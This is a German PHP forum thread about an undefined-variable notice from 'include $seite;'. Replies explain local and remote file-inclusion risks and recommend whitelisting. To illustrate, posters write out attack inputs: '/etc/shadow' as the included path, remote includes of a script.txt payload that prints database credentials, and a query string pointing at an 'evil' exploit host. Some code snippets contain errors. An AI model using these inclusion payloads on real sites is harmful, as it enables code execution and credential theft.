nicht difinierte Variabel

  • Themenstarter Themenstarter ba2
  • Beginndatum Beginndatum
B

ba2

Guest
Moin Moin

Ich habe folgendes Problem

ich lasse meinen Inhalt der HP so anzeigen

include $seite;

ist $seite jetzt nicht gegeben kommt immer ne Fehlermeldung
wie kann ich eine nicht Deklarierte(schreibt man das so?) Variabel auf irgend einen Wert setzen?

ich habs so versucht

if($seite=="")
{
$seite="inhalt.php"
}



Fehlermeldung

Notice: Undefined variable: seite in /www/htdocs/w005aa58/freak/index.php on line 32

Warning: main(): Failed opening '' for inclusion (include_path='.:/usr/share/php:..') in /www/htdocs/w005aa58/freak/index.php on line 32

geht aber nicht :(

mfg ba2
 
Hallo,
das schlimmst was du machen kannst:
include $seite;

Jeder der etwas Ahnung von PHP hat, kann innerhalb von Sekunden so deinen gesamten Server lahmlegen.

Besser so:
Code:
<?php
$seiten = array("fehlerseite_falsche_id.php","erste_seite.php","zweite_seite.php"...);

if(isset($_GET['site_id']) AND is_numeric($_GET['site_id']) AND $_GET['site_id'] >= 0 AND $_GET['site_id'] < count($seiten))
    $site_id = $_GET['site_id'];
else 
   $site_id = 0;



include $seiten[$site_id];
?>
 
da hast du wohl recht, habe ich auch schon ma ausprobiert, bei meinen webserver, da ist aber mein IE abgeschmiert und nicht der Server.
 
a propos ie: kennt ihr schon den bug <input type stirbdummerieoderwasauchimmer> in einer html? bis version 6 crasht dieser zuverlässig
 
Also... als erstes musst du überprüfen, ob die variable überhaupt existiert.

isset

(PHP 3, PHP 4, PHP 5 )
isset -- Prüft die Existenz einer Variablen
Beschreibung:
bool isset ( mixed var [, mixed var [, ...]] )

Diese Funktion liefert TRUE, wenn die Variable oder das Array-Element var existiert, sonst FALSE.

Wird eine Variable oder ein Array-Element mit unset() freigegeben, so liefert isset() anschließend ebenfalls FALSE.
Code:
echo isset ($a); // false
$a = "test";
echo isset ($a); // true
unset ($a);
echo isset ($a); // false

oder eine variable einen Wert enthält.
empty

(PHP 3, PHP 4, PHP 5 )
empty -- Prüft, ob eine Variable einen Wert enthält
Beschreibung:
int empty ( mixed var )

Diese Funktion liefert TRUE, wenn eine Variable nicht definiert, leer oder gleich 0 ist, ansonsten FALSE.
Code:
$var = 0;
if (empty ($var)) { #evaluates true 
    print '$var is either 0 or not at all set';
}
if (!isset ($var)) { // evaluates false
    print 'The $var is not set at all';
}

Wenn du nun überprüft hast ob die variable existiert /einen Wert enthält, kannst d entsprechende maßnahmen einleiten.
Code:
if (empty($site)) $site = "index.php";
Wenn du eine nicht vorhandene variable mit If euf inhalt prüfst, wird dir immer eine fehlermeldung ausgegeben.

Quelle: http://manuals.phpforum.de

Eine mit Post oder Get übergebene variable zu includen is müll, weil man so jede seite includen kann.

je nach anforderung / umfang kannst du folgende muster benutzen:

Hier wird für jede datei, die aufgerufen werden kann ein eigener includebefehl geschrieben. So kann man nur seiten includen, die auch in deiner IF-Abfrage definiert sind.
Code:
if ($site ==  "help") include("help.php");
elseif ($site == "home) include(index.php");
...
end if

Hier definierst du ein array, in dem alle abrufbaren seiten definiert sind. danch wird überprüft, ob site einen in ar_sites defineirten wert enthält. anschließend noch ".php" anhängen.
Code:
$ar_sites = array("home", "help", ... );
if (in_array ($site, $ar_sites)) include($site.".php");
else do_whatever //halt nen fehler ausgeben

oder nochmal ein array mit mehr aufwand. Hier wird die seite direkt im array definiert, und der wert im key

Code:
$ar_sites = array(
            "home"    => "home.php",
            "help"    => "help.php",
            ... );
if (isset($ar_sites[$site])) include($ar_sites[$site]);
else do_whatever //halt nen fehler ausgeben

Aber eigentlich ist es immer schlecht, ne variable an den include-befehl zu übergeben, da es in gewissem maße ang

Eine bitte noch.. nimm nicht einfach den code hier, sondern versuich zu verstehen was er bewirkt. es gibt nix schlimmeres, als ein Programm, das aus leuter Codeschnippseln besteht, von denen man nicht 100% versteht, was sie bewirken.
 
Code:
<html>
<head><title>IE_CRASH</title></head>

<body>
<form>
<input type stirbdummerieoderwasauchimmer>
</form>
</body>


</html>

Funktioniert nicht.

@Elderan: Wie sollte man einen Server lahmlegen, nur weil man das Inkludieren jeder x-beliebigen Datei zulässt? Man könnte sich vllt. ein paar Textdateien aus übergeorndeten Verzeichnissen angucken aber mehr doch auch nicht - dachte ich jedenfalls.


MfG, BattleMaker
 
naja, der Server wist du damit i.d.R. nicht lahmlegen können, aber wenn du jede beliebige datei includen kannst, kannst du z.B. auch die site sich selbst includen lassen. was dazu führen kann(!!!), dass eine endlosschleife entsteht.

Oder stell dir folgendes szenario vor.. Jemand hat auf seiner seite einen uploadbereich. dort kann ich nun ein php script hochzladen und es über den include-befehl einbinden. So lässt sich jeder beliebige code ausführen.
 
Ah danke...

Oder stell dir folgendes szenario vor.. Jemand hat auf seiner seite einen uploadbereich. dort kann ich nun ein php script hochzladen und es über den include-befehl einbinden. So lässt sich jeder beliebige code ausführen.
Dazu müsste aber erstmal ein sehr inkompetenter Admin her :D

Was mich nur verwundert hat, war Elderan's Äußerung:
Jeder der etwas Ahnung von PHP hat, kann innerhalb von Sekunden so deinen gesamten Server lahmlegen.
Deshalb die Nachfrage :)


MfG, BattleMaker
 
Naja.. inkompetente Leute gibts doch an allen ecken zund enden. vielleicht gehör ich ja auch dazu.

Das ist das Prinzip des Jeans-Managements: An jeder wichtigen Stelle eine Niete!

aber ich mein, vielleicht weiß er was, das wir nicht wissen. Mal sehen vielleicht erfahren wir nochwas.
 
Hallo,
Server lahmlegen:

--------------------------------------------------------------------------------
include($seite);
$seite = "/etc/shadow";

=> include("/etc/shadow");
Liefert bei manchen Servern die Passwortdatei

$seite = "http://meineurl.de/script.txt";

=>include("http://meineurl.de/script.txt");
Includet einen beliebigen Script von meinem Server.
Da der Text aber __nicht___ als Text geladen wird, werden ggf. enthaltenen PHP Code ausgeführt wird, so kann ich so beliebigen PHP Code ausführen.

Kannst es ja Test.

locahost:
<?php
include("http://meinserver.de/script.txt");
?>

Und dann auf deinen Server script.txt hochladen, die <?php //Code ?> enthält.

Also ein Angreifer kann in Sekunden schnelle, _deinen_ Webserver beliebigen PHP Code unterjublen.
Als Folge könnte ich so z.B. die Datei mit den Zugangsdaten der DB auslesen:

script.txt:
Code:
<?php
echo htmlentities(get_file_contents("config.inc.php")); //Stellt den Inhalt der config.inc.php lesbar dar
?>

Mit den Zugangsdaten könnte ich dann deine gesamte DB löschen bzw. manipulieren.

Desweiteren könnte ich alle Dateien auf deinem Account bearbeiten, manipulieren, löschen, oder einfach illegale Dateien auf deinen Server/Account hochladen.
Auch könnte ich diesen dazu benutzen, andere Server anzugreifen.

Ich habe dann genau die gleiche 'Macht' wie du, nur dass ein findiger Angreifer besser weiß welche Befehle 'schädlich' sein könnte.

Man könnte ja ein Script schreiben, welches deine DB flooded, als Folge könnte die gesamte Datenbank zusammenbrechen, und der Serveradmin würde sich freun.

Oder ich veränder deine Index nicht sichtbar, allerdings ist dort jetzt ein Exploit, welchen den User z.B. ein Trojaner unterjubelt.


Desweiteren sind extrem viele Server schlecht abgesichert, so dass ein Angreifer über dein Script oft den gesamten Server unter Kontrolle bringen könnte, oder einfach nur Daten ändern/löschen von anderen Accounts (z.B. Shared-Hosting).

Die Möglichkeiten sind vielfach.

Vorallem wenn du durch solche Attacken reale/finanzelle Schäden bekommst.
Stell dir vor, dich verklagt jmd., weil deine Seite Trojaner verteilt, oder du wirst angezeigt, weil auf deinem Server Kinderpornographie ist.

Oder jmd. ändert deinen PHP-Script /System so, dass dieser davon ein Vorteil erziehlt.
 
Original von BattleMaker
@Elderan: Wie sollte man einen Server lahmlegen, nur weil man das Inkludieren jeder x-beliebigen Datei zulässt? Man könnte sich vllt. ein paar Textdateien aus übergeorndeten Verzeichnissen angucken aber mehr doch auch nicht - dachte ich jedenfalls.

Bei einfachen Seiten nur DoS, aber wenn die Seite z.B. noch die Zugriffe loggen soll...

Datei auf dem Server:
PHP:
<?
  $dbHost = "localhost";
  $dbUser = "u1234567";
  $dbName = "db1234567";
  $dbPassword = "thesupersecretpassword";
  $IP = $_SERVER["REMOTE_ADDR"];
  $date = date("Y-m-d");
  $Connection = mysql_connect($dbHost, $dbUser, $dbPassword);
  $SQLQuery = "INSERT INTO log (ip, date) VALUES ('".$IP."', '",$date,"')";
  $Insrt = mysql_db_query($dbName, $SQLQuery, $Connection);
  include($seite);

?>
andere Datei
PHP:
<?
 echo $dbPassword;
  $SQLQuery = "DELETE FROM log  WHERE ip = '".$IP."'";
  $Insrt = mysql_db_query($dbName, $SQLQuery, $Connection);
?>

Obwohl diese Variablen für niemanden sichtbar sind, kann sie jedes script, dass auf dem selben Server liegt und als $seite eingegeben wird benutzen (manchmal berechtigt).

Wenn man jetzt noch eine Möglichkeit findet die zweite Datei irgendwo auf diesen Server zu laden (z.B. durch schlecht gesichertes Image upload-script, etc.) kann man diesen Log beliebig verändern.
(allerdings könnte man dann evtl auch eine Datei aus dem Array ersetzen)

(Klingt trotzdem ziemlich Paranoid :D)

Ein weiterer (besserer) Grund darauf zu verzichten:
www.WebpageOfBa2.de/test.php?seite=inhalt.php
www.WebpageOfBa2.de/test.php?seite=http://theevilsite.com/the-really-evil-IE-Exploit.html

Jeder beliebige Content kann deine Seite als Relay benutzen.
Von ImageCrashs bis illegal Volksverhetzendem. Alles "auf" deiner Website.
 
Eines erstaunt mich. Ich hielt diese Lücke nämlich bisher für so offensichtlich, dass ich mir gar nicht die Mühe machte, auszuprobieren, ob es funktioniert. Aber nach eurer Erklärung kann man anscheinend per include() Skripte von ganz anderen Servern (obwohl diese Skripte ja ebenfalls SERVER-seitig sind) ausführen.

=>include("http://meineurl.de/script.txt");
Includet einen beliebigen Script von meinem Server.
Da der Text aber __nicht___ als Text geladen wird, werden ggf. enthaltenen PHP Code ausgeführt wird, so kann ich so beliebigen PHP Code ausführen.
Ich meine, das KANN doch gar nicht funktionieren! Man nehme z.B. an, ich hätte folgendes Skript:

www.RobertNitsch.de/hack.php

Wenn ich jetzt einer beliebigen (natürlich nicht geschützten) Seite www.xyz_zyx.de/include.php?page=www.RobertNitsch.de/hack.php übergebe, dann wird doch zuerst das Skript hack.php auf MEINEM Server ausgeführt und dann wird die AUSGABE des Skripts in www.xyz_zyx.de/include.php inkludiert (durch include($_GET['inc']);), nicht das Skript selbst, sodass es auf dem Server des Opfers ausgeführt wird.
Denn mein Server lässt doch schließlich niemanden an den Source meiner PHP-Dateien ran. Wäre ja noch schöner, wenn ich mir mit diesem Trick den Code von anderen Seiten anschauen könnte.

Und mit einem inkludierten JavaScript (was ja wieder möglich ist, denn JS läuft ja CLIENT-seitig ab) kann man keine Datenbanken löschen, höchstens ein paar dumme Menschen ausloggen und auf eine falsche Login-Seite lenken.

Deshalb zum besseren Verständnis nochmal ein Zitat (Elderan):
Da der Text aber __nicht___ als Text geladen wird
Heißt das, dass ich einem nicht geschützten PHP-Skript eine TXT-Datei andrehen kann und PHP das dann als PHP-Skript ansieht? Bzw. evtl. enthaltene Befehle?



MfG, BattleMaker
 
Ja, wenn du mit include eine *.txt datei lädst und in dieser php Code steht wird dieser vom Server ausgeführt. Egal wo sie liegt(auf anderem oder dem selben Server).

Wenn du eine *.php Datei eines anderen Servers lädst wird die auf dem anderen Server verarbeitet und du bekommst nur den HTML Code welcher zurückgegeben wird.

Hoffe das stimmt alles so :rolleyes:
 
Also dass man tatsächlich auch scripte fremder seiten einbinden kann, ist mir auch neu. aber es funktioniert tatsächlich.
Was aber nicht funktionieren dürfte, istd ie sache mit "/etc/shadow", aber bei schlecht configurierten system wäre es natürlich theoretisch schon möglich.. sowas darf aber einfach nicht vorkommen.

Wieder was dazugelernt. Ach ja, und SO stell ich mir ne Habo-Diskussion vor!
 
Bei mir hats funktioniert.
test.txt:
PHP:
<?

echo "google";

?>
test.php
PHP:
<?

include("test.txt");

echo " ist dein Freund!";
?>

Wenn man natürlich PHP Skripte von anderen Seiten audruft, werden diese erst preprozessed, dann an dich geschickt und dort (wenn noch PHP Elemente enthalten sind (das ist aber eher selten der Fall)) ge-eval-t d.h. nochmal preprocessed :D

edit: Ich merke grad, dass Kimmmey das schon schön und ausreichend erklärt hat :P

naja, trotzdem:
<? include "http://de.php.net/include/"; ?>
8)
 
<?php
if (!isset($seite)) $seite="inhalt.php";
if (file_exists($seite))
{
}
else
{
$seite="fehler.php";
}
?>


Ist das als schutz ausreichend?

mfg ba2
 
edit: Ich merke grad, dass Kimmmey das schon schön und ausreichend erklärt hat Zunge raus
*heul* und meinen schönen Post hat mal wieder keiner gelesen... ;( ;(... :D (wenn wir schon dabei sind)

@ba2:
Ich halte es noch für ganz hilfreich die Funktion basename() auf die zu inkludierende Seite anzuwenden, so erreicht man, dass nur Dateien aus demselben Verzeichnis inkludiert werden können.

@flame:
Wieder was dazugelernt. Ach ja, und SO stell ich mir ne Habo-Diskussion vor!
*Zustimm* :]

@p-Logic:
Ich hab das Gefühl du hast in deinem Post Mist gebaut ;)


Frohes Fest und einen guten Rutsch. :)


MfG, BattleMaker
 
Hallo,
nochmal für alle:

localhost/include.php:
Code:
<?php
include("http://euerserver.de/script.txt");
?>

Script.txt:
Code:
<?php
phpinfo();
?>


Wenn ihr dann localhost/include.php aufruft, bekommt ihr die Ausgabe von phpinfo von localhost!.

Anderes Beispiel:
Script.txt:
Code:
<?php
echo "Spam: <br>";
while($i < 1000) {
   echo "$i <br>";
   $i++;
   }

?>


Denn per include(); wird dann der Inhalt von script.txt geladen.
Der enthaltene PHP Code in der _Textdatei_ wird von dem Server (euerserver.de) _nicht_ verarbeitet.

Localhost lädt also jetzt diese Datei, allerdings wird dann der PHP Code verarbeitet.


Sonst einfach Script aus dem Anhang auf eurem Server ausführen.


Edit:
basename(); ist nicht effektiv genug.
Man sollte den Besucher nur ganz bestimmte Seiten zum includen erlauben, und dies geht nur, wenn man es mit:
1. Vielen IF/Elseif Anweisungen macht
2. Mit einem Array
3. Mit einer Datenbank

Denn nicht jede Seite kann in eine Seite problemlos per include geladen werden.
 
Original von ba2 (bearbeitet)
<?php
if (!isset($seite)) $seite="inhalt.php";
if (!file_exists($seite))
{
$seite="fehler.php";
}
?>


Ist das als schutz ausreichend?

Hm. Es wird wohl keiner eine Datei laden wollen, die es nicht gibt ;)

Mach es (wie Battlemaker schon angemerkt hat) mit basename oder (noich besser) mit einem Array.

@Battlemaker: mh, ja.

@Elderan
Verwirrend wirds erst bei:
script.php
PHP:
<?
   echo "<? phpinfo(); ?>";
?>
:D
 
Zurück
Oben